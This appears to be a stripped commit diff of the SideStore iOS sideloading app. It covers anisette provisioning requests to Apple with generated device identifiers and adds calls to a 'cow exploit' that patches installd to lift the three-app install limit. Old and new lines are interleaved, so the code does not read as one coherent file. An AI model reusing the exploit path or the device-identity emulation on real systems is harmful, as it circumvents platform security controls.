let alert = UIAlertController(title: "WARNING: Outdated anisette server", message: "We've detected you are using an older anisette server. Using this server has a higher likelihood of locking your account and causing other issues. Are you sure you want to continue?", preferredStyle: UIAlertController.Style.alert)
alert.addAction(UIAlertAction(title: "Continue", style: UIAlertAction.Style.destructive, handler: { action in
print("Fetching anisette via V1")
UserDefaults.shared.trustedServerURL = AnisetteManager.currentURLString
self.fetchAnisetteV1()
}))
alert.addAction(UIAlertAction(title: "Cancel", style: UIAlertAction.Style.cancel, handler: { action in
print("Cancelled anisette operation")
self.finish(.failure(OperationError.cancelled))
}))
DispatchQueue.main.async {
UIApplication.topController?.present(alert, animated: true)
}
}
func fetchAnisetteV1() {
print("Fetching anisette V1")
URLSession.shared.dataTask(with: self.url!) { data, response, error in
do {
guard let data = data, error == nil else { throw OperationError.anisetteV1Error(message: "Unable to fetch data\(error != nil ? " (\(error!.localizedDescription))" : "")") }
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: false)
// make sure this JSON is in the format we expect
// convert data to json
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
// try to read out a dictionary
//for some reason serial number isn't needed but it doesn't work unless it has a value
let formattedJSON: [String: String] = ["machineID": json["X-Apple-I-MD-M"]!, "oneTimePassword": json["X-Apple-I-MD"]!, "localUserID": json["X-Apple-I-MD-LU"]!, "routingInfo": json["X-Apple-I-MD-RINFO"]!, "deviceUniqueIdentifier": json["X-Mme-Device-Id"]!, "deviceDescription": json["X-MMe-Client-Info"]!, "date": json["X-Apple-I-Client-Time"]!, "locale": json["X-Apple-Locale"]!, "timeZone": json["X-Apple-I-TimeZone"]!, "deviceSerialNumber": "1"]
if let anisette = ALTAnisetteData(json: formattedJSON) {
DLOG("Anisette used: %@", formattedJSON)
self.finish(.success(anisette))
}
}
} catch let error as NSError {
print("Failed to load: \(error.localizedDescription)")
self.finish(.failure(error))
}
}.resume()
}
// MARK: - V3: PROVISIONING
func provision() {
fetchClientInfo {
print("Getting provisioning URLs")
var request = self.buildAppleRequest(url: URL(string: "https://gsa.apple.com/grandslam/GsService2/lookup")!)
request.httpMethod = "GET"
URLSession.shared.dataTask(with: request) { data, response, error in
if let data = data,
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
let startProvisioningString = plist["urls"]?["midStartProvisioning"] as? String,
let startProvisioningURL = URL(string: startProvisioningString),
let endProvisioningString = plist["urls"]?["midFinishProvisioning"] as? String,
let endProvisioningURL = URL(string: endProvisioningString) {
self.startProvisioningURL = startProvisioningURL
self.endProvisioningURL = endProvisioningURL
print("startProvisioningURL: \(self.startProvisioningURL!.absoluteString)")
print("endProvisioningURL: \(self.endProvisioningURL!.absoluteString)")
print("Starting a provisioning session")
self.startProvisioningSession()
} else {
print("Apple didn't give valid URLs! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid URLs. Please try again later", message: nil)))
}
}.resume()
}
}
func startProvisioningSession() {
let provisioningSessionURL = self.url!.appendingPathComponent("v3").appendingPathComponent("provisioning_session")
var wsRequest = URLRequest(url: provisioningSessionURL)
wsRequest.timeoutInterval = 5
self.socket = WebSocket(request: wsRequest)
self.socket.delegate = self
self.socket.connect()
}
func didReceive(event: WebSocketEvent, client: WebSocket) {
switch event {
case .text(let string):
do {
if let json = try JSONSerialization.jsonObject(with: string.data(using: .utf8)!, options: []) as? [String: Any] {
guard let result = json["result"] as? String else {
print("The server didn't give us a result")
client.disconnect(closeCode: 0)
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a result", message: nil)))
return
}
print("Received result: \(result)")
switch result {
case "GiveIdentifier":
print("Giving identifier")
client.json(["identifier": Keychain.shared.identifier!])
case "GiveStartProvisioningData":
print("Getting start provisioning data")
let body = [
"Header": [String: Any](),
"Request": [String: Any](),
]
var request = self.buildAppleRequest(url: self.startProvisioningURL!)
request.httpMethod = "POST"
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
URLSession.shared.dataTask(with: request) { data, response, error in
if let data = data,
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
let spim = plist["Response"]?["spim"] as? String {
print("Giving start provisioning data")
client.json(["spim": spim])
} else {
print("Apple didn't give valid start provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
client.disconnect(closeCode: 0)
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid start provisioning data. Please try again later", message: nil)))
}
}.resume()
case "GiveEndProvisioningData":
print("Getting end provisioning data")
guard let cpim = json["cpim"] as? String else {
print("The server didn't give us a cpim")
client.disconnect(closeCode: 0)
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us a cpim", message: nil)))
return
}
let body = [
"Header": [String: Any](),
"Request": [
"cpim": cpim,
],
]
var request = self.buildAppleRequest(url: self.endProvisioningURL!)
request.httpMethod = "POST"
request.httpBody = try! PropertyListSerialization.data(fromPropertyList: body, format: .xml, options: 0)
URLSession.shared.dataTask(with: request) { data, response, error in
if let data = data,
let plist = try? PropertyListSerialization.propertyList(from: data, format: nil) as? Dictionary<String, Dictionary<String, Any>>,
let ptm = plist["Response"]?["ptm"] as? String,
let tk = plist["Response"]?["tk"] as? String {
print("Giving end provisioning data")
client.json(["ptm": ptm, "tk": tk])
} else {
print("Apple didn't give valid end provisioning data! Got response: \(String(data: data ?? Data("nothing".utf8), encoding: .utf8) ?? "not utf8")")
client.disconnect(closeCode: 0)
self.finish(.failure(OperationError.provisioningError(result: "Apple didn't give valid end provisioning data. Please try again later", message: nil)))
}
}.resume()
case "ProvisioningSuccess":
print("Provisioning succeeded!")
client.disconnect(closeCode: 0)
guard let adiPb = json["adi_pb"] as? String else {
print("The server didn't give us an adi.pb file")
self.finish(.failure(OperationError.provisioningError(result: "The server didn't give us an adi.pb file", message: nil)))
return
}
Keychain.shared.adiPb = adiPb
self.fetchAnisetteV3(Keychain.shared.identifier!, Keychain.shared.adiPb!)
default:
if result.contains("Error") || result.contains("Invalid") || result == "ClosingPerRequest" || result == "Timeout" || result == "TextOnly" {
print("Failing because of \(result)")
self.finish(.failure(OperationError.provisioningError(result: result, message: json["message"] as? String)))
}
}
}
} catch let error as NSError {
print("Failed to handle text: \(error.localizedDescription)")
self.finish(.failure(OperationError.provisioningError(result: error.localizedDescription, message: nil)))
}
case .connected:
print("Connected")
case .disconnected(let string, let code):
print("Disconnected: \(code); \(string)")
case .error(let error):
print("Got error: \(String(describing: error))")
default:
print("Unknown event: \(event)")
}
}
func buildAppleRequest(url: URL) -> URLRequest {
var request = URLRequest(url: url)
request.setValue(self.clientInfo!, forHTTPHeaderField: "X-Mme-Client-Info")
request.setValue(self.userAgent!, forHTTPHeaderField: "User-Agent")
request.setValue("text/x-xml-plist", forHTTPHeaderField: "Content-Type")
request.setValue("*/*", forHTTPHeaderField: "Accept")
request.setValue(self.mdLu!, forHTTPHeaderField: "X-Apple-I-MD-LU")
request.setValue(self.deviceId!, forHTTPHeaderField: "X-Mme-Device-Id")
let formatter = DateFormatter()
formatter.locale = Locale(identifier: "en_US_POSIX")
formatter.calendar = Calendar(identifier: .gregorian)
formatter.timeZone = TimeZone(identifier: "UTC")
formatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss'Z'"
let dateString = formatter.string(from: Date())
request.setValue(dateString, forHTTPHeaderField: "X-Apple-I-Client-Time")
request.setValue(Locale.current.identifier, forHTTPHeaderField: "X-Apple-Locale")
request.setValue(TimeZone.current.abbreviation(), forHTTPHeaderField: "X-Apple-I-TimeZone")
return request
}
// MARK: - V3: FETCHING
func fetchClientInfo(_ callback: @escaping () -> Void) {
if self.clientInfo != nil &&
self.userAgent != nil &&
self.mdLu != nil &&
self.deviceId != nil &&
Keychain.shared.identifier != nil {
print("Skipping client_info fetch since all the properties we need aren't nil")
return callback()
}
print("Trying to get client_info")
let clientInfoURL = self.url!.appendingPathComponent("v3").appendingPathComponent("client_info")
URLSession.shared.dataTask(with: clientInfoURL) { data, response, error in
do {
guard let data = data, error == nil else {
return self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The server may be down\(error != nil ? " (\(error!.localizedDescription))" : "")")))
}
if let json = try JSONSerialization.jsonObject(with: data, options: []) as? [String: String] {
if let clientInfo = json["client_info"] {
print("Server is V3")
self.clientInfo = clientInfo
self.userAgent = json["user_agent"]!
print("Client-Info: \(self.clientInfo!)")
print("User-Agent: \(self.userAgent!)")
if Keychain.shared.identifier == nil {
print("Generating identifier")
var bytes = [Int8](repeating: 0, count: 16)
let status = SecRandomCopyBytes(kSecRandomDefault, bytes.count, &bytes)
if status != errSecSuccess {
print("ERROR GENERATING IDENTIFIER!!! \(status)")
return self.finish(.failure(OperationError.provisioningError(result: "Couldn't generate identifier", message: nil)))
}
Keychain.shared.identifier = Data(bytes: &bytes, count: bytes.count).base64EncodedString()
}
let decoded = Data(base64Encoded: Keychain.shared.identifier!)!
self.mdLu = decoded.sha256().hexEncodedString()
print("X-Apple-I-MD-LU: \(self.mdLu!)")
let uuid: UUID = decoded.object()
self.deviceId = uuid.uuidString.uppercased()
print("X-Mme-Device-Id: \(self.deviceId!)")
callback()
} else { self.handleV1() }
} else { self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The returned data may not be in JSON"))) }
} catch let error as NSError {
print("Failed to load: \(error.localizedDescription)")
self.handleV1()
}
}.resume()
}
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
fetchClientInfo {
print("Fetching anisette V3")
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
request.httpMethod = "POST"
request.httpBody = try! JSONSerialization.data(withJSONObject: [
"identifier": identifier,
"adi_pb": adiPb
], options: [])
request.setValue("application/json", forHTTPHeaderField: "Content-Type")
URLSession.shared.dataTask(with: request) { data, response, error in
do {
guard let data = data, error == nil else { throw OperationError.anisetteV3Error(message: "Couldn't fetch anisette") }
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: true)
} catch let error as NSError {
print("Failed to load: \(error.localizedDescription)")
self.finish(.failure(error))
}
}.resume()
}
task.resume()
}
}
extension WebSocket {
func json(_ dictionary: [String: String]) {
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
self.write(string: String(data: data, encoding: .utf8)!)
}
}
extension Data {
// https://stackoverflow.com/a/25391020
func sha256() -> Data {
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
self.withUnsafeBytes {
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
}
return Data(hash)
}
// https://stackoverflow.com/a/40089462
func hexEncodedString() -> String {
return self.map { String(format: "%02hhX", $0) }.joined()
}
// https://stackoverflow.com/a/59127761
func object<T>() -> T { self.withUnsafeBytes { $0.load(as: T.self) } }
}

View File

@@ -268,17 +268,8 @@ extension FetchProvisioningProfilesOperation
}
}
}
//App ID name must be ascii. If the name is not ascii, using bundleID instead
let appIDName: String
if !name.allSatisfy({ $0.isASCII }) {
//Contains non ASCII (Such as Chinese/Japanese...), using bundleID
appIDName = bundleIdentifier
}else {
//ASCII text, keep going as usual
appIDName = name
}
ALTAppleAPI.shared.addAppID(withName: appIDName, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
ALTAppleAPI.shared.addAppID(withName: name, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
do
{
do
@@ -393,39 +384,19 @@ extension FetchProvisioningProfilesOperation
if app.isAltStoreApp
{
print("Application groups before modifying for SideStore: \(applicationGroups)")
// Remove app groups that contain AltStore since they can be problematic (cause SideStore to expire early)
for (index, group) in applicationGroups.enumerated() {
if group.contains("AltStore") {
print("Removing application group: \(group)")
applicationGroups.remove(at: index)
}
}
// Make sure we add .AltWidget for the widget
var altStoreAppGroupID = Bundle.baseAltStoreAppGroupID
for (_, group) in applicationGroups.enumerated() {
if group.contains("AltWidget") {
altStoreAppGroupID += ".AltWidget"
break
}
}
// Potentially updating app groups for this specific AltStore.
// Find the (unique) AltStore app group, then replace it
// with the correct "base" app group ID.
// Otherwise, we may append a duplicate team identifier to the end.
if let index = applicationGroups.firstIndex(where: { $0.contains(Bundle.baseAltStoreAppGroupID) })
{
applicationGroups[index] = altStoreAppGroupID
applicationGroups[index] = Bundle.baseAltStoreAppGroupID
}
else
{
applicationGroups.append(altStoreAppGroupID)
applicationGroups.append(Bundle.baseAltStoreAppGroupID)
}
}
print("Application groups: \(applicationGroups)")
// Dispatch onto global queue to prevent appGroupsLock deadlock.
DispatchQueue.global().async {

View File

@@ -10,7 +10,11 @@ import Foundation
private extension URL
{
#if STAGING
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
#else
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
#endif
}
extension FetchTrustedSourcesOperation

View File

@@ -8,10 +8,9 @@
import Foundation
import Network
import AltStoreCore
import AltSign
import AltStoreCore
import Roxas
import minimuxer
@objc(InstallAppOperation)
final class InstallAppOperation: ResultOperation<InstalledApp>
@@ -45,8 +44,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
else { return self.finish(.failure(OperationError.invalidParameters)) }
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
backgroundContext.perform {
backgroundContext.perform
{
/* App */
let installedApp: InstalledApp
@@ -142,75 +141,64 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
installedApp.isActive = false
}
}
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
activeProfiles = Set(activeApps.flatMap
{ installedApp -> [String] in
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
})
}
var installing = true
if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
if UIApplication.shared.applicationState != .active {
print("We are not in the foreground, let's not do anything")
return
}
if !installing {
print("Installing finished")
return
}
print("We are still installing after 3 seconds")
UNUserNotificationCenter.current().getNotificationSettings { settings in
switch (settings.authorizationStatus) {
case .authorized, .ephemeral, .provisional:
print("Notifications are enabled")
let content = UNMutableNotificationContent()
content.title = "Refreshing..."
content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
UNUserNotificationCenter.current().add(notification)
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
break
default:
print("Notifications are not enabled")
let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
print("Opening Safari")
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
}))
DispatchQueue.main.async {
if var topController = UIApplication.topController {
topController.present(alert, animated: true)
} else {
print("No key window? Let's just open Safari")
UIApplication.shared.open(URL(string: "x-web-search://")!)
}
let ns_bundle = NSString(string: installedApp.bundleIdentifier)
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
let res = minimuxer_install_ipa(ns_bundle_ptr)
if res == 0
{
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
else if res == -15
{
// try again
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
{
patch3AppLimit
{ result in
switch result
{
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err
{
case .NoFDA:
self.finish(.failure(OperationError.cowExploitNoFDA))
return
case .FailedPatchd:
self.finish(.failure(OperationError.cowExploitFailedPatchd))
return
}
break
}
}
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
if res_try_again == 0
{
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
else
{
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
}
}
}
do {
try install_ipa(installedApp.bundleIdentifier)
installing = false
} catch {
installing = false
return self.finish(.failure(error))
else
{
self.finish(.failure(minimuxer_to_operation(code: res)))
}
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
}
@@ -226,11 +214,10 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
do
{
try FileManager.default.removeItem(at: fileURL)
print("Removed refreshed IPA")
}
catch
{
print("Failed to remove refreshed .ipa: \(error)")
print("Failed to remove refreshed .ipa:", error)
}
}

View File

@@ -6,12 +6,10 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Foundation
import AltSign
import minimuxer
import Foundation
enum OperationError: LocalizedError
{
enum OperationError: LocalizedError {
static let domain = OperationError.unknown._domain
case unknown
@@ -34,9 +32,20 @@ enum OperationError: LocalizedError
case openAppFailed(name: String)
case missingAppGroup
case anisetteV1Error(message: String)
case provisioningError(result: String, message: String?)
case anisetteV3Error(message: String)
case noDevice
case createService(name: String)
case getFromDevice(name: String)
case setArgument(name: String)
case afc
case install
case uninstall
case lookupApps
case detach
case functionArguments
case profileInstall
case noConnection
case cowExploitNoFDA
case cowExploitFailedPatchd
var failureReason: String? {
switch self {
@@ -53,25 +62,33 @@ enum OperationError: LocalizedError
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
case .noDevice: return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
case .createService(let name): return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
case .getFromDevice(let name): return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
case .setArgument(let name): return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
case .afc: return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
case .install: return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
case .uninstall: return NSLocalizedString("Unable to uninstall the app", comment: "")
case .lookupApps: return NSLocalizedString("Unable to fetch apps from the device", comment: "")
case .detach: return NSLocalizedString("Unable to detach from the app's process", comment: "")
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
}
}
var recoverySuggestion: String? {
switch self
{
switch self {
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
let message: String
if requiredAppIDs > 1
{
if requiredAppIDs > 1 {
let availableText: String
switch availableAppIDs
{
switch availableAppIDs {
case 0: availableText = NSLocalizedString("none are available", comment: "")
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
@@ -80,8 +97,7 @@ enum OperationError: LocalizedError
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage
}
else
{
else {
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
let dateComponentsFormatter = DateComponentsFormatter()
@@ -101,66 +117,49 @@ enum OperationError: LocalizedError
}
}
extension MinimuxerError: LocalizedError {
public var failureReason: String? {
switch self {
case .NoDevice:
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
case .NoConnection:
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
case .PairingFile:
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
case .CreateDebug:
return self.createService(name: "debug")
case .LookupApps:
return self.getFromDevice(name: "installed apps")
case .FindApp:
return self.getFromDevice(name: "path to the app")
case .BundlePath:
return self.getFromDevice(name: "bundle path")
case .MaxPacket:
return self.setArgument(name: "max packet")
case .WorkingDirectory:
return self.setArgument(name: "working directory")
case .Argv:
return self.setArgument(name: "argv")
case .LaunchSuccess:
return self.getFromDevice(name: "launch success")
case .Detach:
return NSLocalizedString("Unable to detach from the app's process", comment: "")
case .Attach:
return NSLocalizedString("Unable to attach to the app's process", comment: "")
case .CreateInstproxy:
return self.createService(name: "instproxy")
case .CreateAfc:
return self.createService(name: "AFC")
case .RwAfc:
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
case .InstallApp:
return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
case .UninstallApp:
return NSLocalizedString("Unable to uninstall the app", comment: "")
case .CreateMisagent:
return self.createService(name: "misagent")
case .ProfileInstall:
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
case .ProfileRemove:
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
}
}
fileprivate func createService(name: String) -> String {
return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
}
fileprivate func getFromDevice(name: String) -> String {
return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
}
fileprivate func setArgument(name: String) -> String {
return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
func minimuxer_to_operation(code: Int32) -> OperationError {
switch code {
case 1:
return OperationError.noDevice
case 2:
return OperationError.createService(name: "debug")
case 3:
return OperationError.createService(name: "instproxy")
case 4:
return OperationError.getFromDevice(name: "installed apps")
case 5:
return OperationError.getFromDevice(name: "path to the app")
case 6:
return OperationError.getFromDevice(name: "bundle path")
case 7:
return OperationError.setArgument(name: "max packet")
case 8:
return OperationError.setArgument(name: "working directory")
case 9:
return OperationError.setArgument(name: "argv")
case 10:
return OperationError.getFromDevice(name: "launch success")
case 11:
return OperationError.detach
case 12:
return OperationError.functionArguments
case 13:
return OperationError.createService(name: "AFC")
case 14:
return OperationError.afc
case 15:
return OperationError.install
case 16:
return OperationError.uninstall
case 17:
return OperationError.createService(name: "misagent")
case 18:
return OperationError.profileInstall
case 19:
return OperationError.profileInstall
case 20:
return OperationError.noConnection
default:
return OperationError.unknown
}
}

View File

@@ -49,12 +49,15 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
for p in profiles {
do {
let bytes = p.value.data.toRustByteSlice()
try install_provisioning_profile(bytes.forRust())
let x = try install_provisioning_profile(plist: p.value.data)
if case .Bad(let code) = x {
self.finish(.failure(minimuxer_to_operation(code: code)))
}
} catch Uhoh.Bad(let code) {
self.finish(.failure(minimuxer_to_operation(code: code)))
} catch {
return self.finish(.failure(error))
self.finish(.failure(OperationError.unknown))
}
self.progress.completedUnitCount += 1
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)

View File

@@ -39,11 +39,15 @@ final class RemoveAppOperation: ResultOperation<InstalledApp>
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
do {
try remove_app(resignedBundleIdentifier)
let res = try remove_app(app_id: resignedBundleIdentifier)
if case Uhoh.Bad(let code) = res {
self.finish(.failure(minimuxer_to_operation(code: code)))
}
} catch Uhoh.Bad(let code) {
self.finish(.failure(minimuxer_to_operation(code: code)))
} catch {
return self.finish(.failure(error))
self.finish(.failure(ALTServerError(.appDeletionFailed)))
}
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
self.progress.completedUnitCount += 1

View File

@@ -8,8 +8,6 @@
import Foundation
import Roxas
import SwiftUI
import ZIPFoundation
import AltStoreCore
import AltSign
@@ -17,9 +15,6 @@ import AltSign
@objc(ResignAppOperation)
final class ResignAppOperation: ResultOperation<ALTApplication>
{
static var skipResign: Bool = false
static var skipResignBinding: Binding<Bool> { Binding<Bool>(get: { skipResign }, set: { skipResign = $0 }) }
let context: InstallAppOperationContext
init(context: InstallAppOperationContext)
@@ -55,23 +50,6 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
guard let appBundleURL = self.process(result) else { return }
if ResignAppOperation.skipResign {
print("⚠️ WARNING: Skipping resign. Unless you correctly resigned the IPA before installing it, things will not work! Also, this might crash SideStore. You have been warned!")
let ipaFile = self.context.temporaryDirectory.appendingPathComponent("App.ipa")
let archive = Archive(url: ipaFile, accessMode: .create)!
for case let fileURL as URL in FileManager.default.enumerator(at: appBundleURL, includingPropertiesForKeys: [])! {
let relative = fileURL.description.replacingOccurrences(of: appBundleURL.description, with: "").removingPercentEncoding!
try! archive.addEntry(with: "Payload/App.app\(relative)", fileURL: fileURL)
}
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
try! FileManager.default.copyItem(at: ipaFile, to: destinationURL, shouldReplace: true)
// Use appBundleURL since we need an app bundle, not .ipa.
let resignedApplication = ALTApplication(fileURL: appBundleURL)!
self.finish(.success(resignedApplication))
return
}
print("Resigning App:", self.context.bundleIdentifier)
// Resign app bundle
@@ -83,7 +61,6 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
{
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
try FileManager.default.copyItem(at: resignedURL, to: destinationURL, shouldReplace: true)
print("Successfully resigned app to \(destinationURL.absoluteString)")
// Use appBundleURL since we need an app bundle, not .ipa.
guard let resignedApplication = ALTApplication(fileURL: appBundleURL) else { throw OperationError.invalidApp }
@@ -170,14 +147,6 @@ private extension ResignAppOperation
infoDictionary[Bundle.Info.exportedUTIs] = exportedUTIs
try (infoDictionary as NSDictionary).write(to: bundle.infoPlistURL)
// Remove _CodeSignature folder (if it exists) because it will be added when resigning and it may have files that aren't overwritten when resigning
// These files might be the cause of some ApplicationVerificationFailed errors
let codeSignaturePath = bundle.bundleURL.appendingPathComponent("_CodeSignature").absoluteString.replacingOccurrences(of: "file://", with: "")
if FileManager.default.fileExists(atPath: codeSignaturePath) {
try FileManager.default.removeItem(atPath: codeSignaturePath)
print("Removed _CodeSignature folder at \(codeSignaturePath)")
}
}
DispatchQueue.global().async {

View File

@@ -9,7 +9,6 @@ import Foundation
import Network
import AltStoreCore
import minimuxer
@objc(SendAppOperation)
final class SendAppOperation: ResultOperation<()>
@@ -45,18 +44,24 @@ final class SendAppOperation: ResultOperation<()>
print("AFC App `fileURL`: \(fileURL.absoluteString)")
let ns_bundle = NSString(string: app.bundleIdentifier)
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
if let data = NSData(contentsOf: fileURL) {
do {
let bytes = Data(data).toRustByteSlice()
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
} catch {
return self.finish(.failure(error))
let pls = UnsafeMutablePointer<UInt8>.allocate(capacity: data.length)
for (index, data) in data.enumerated() {
pls[index] = data
}
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
if res == 0 {
print("minimuxer_yeet_app_afc `res` == \(res)")
self.progress.completedUnitCount += 1
self.finish(.success(()))
} else {
self.finish(.failure(minimuxer_to_operation(code: res)))
}
self.progress.completedUnitCount += 1
self.finish(.success(()))
} else {
print("IPA doesn't exist????")
self.finish(.failure(ALTServerError(.underlyingError)))
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 846 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 997 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

Some files were not shown because too many files have changed in this diff Show More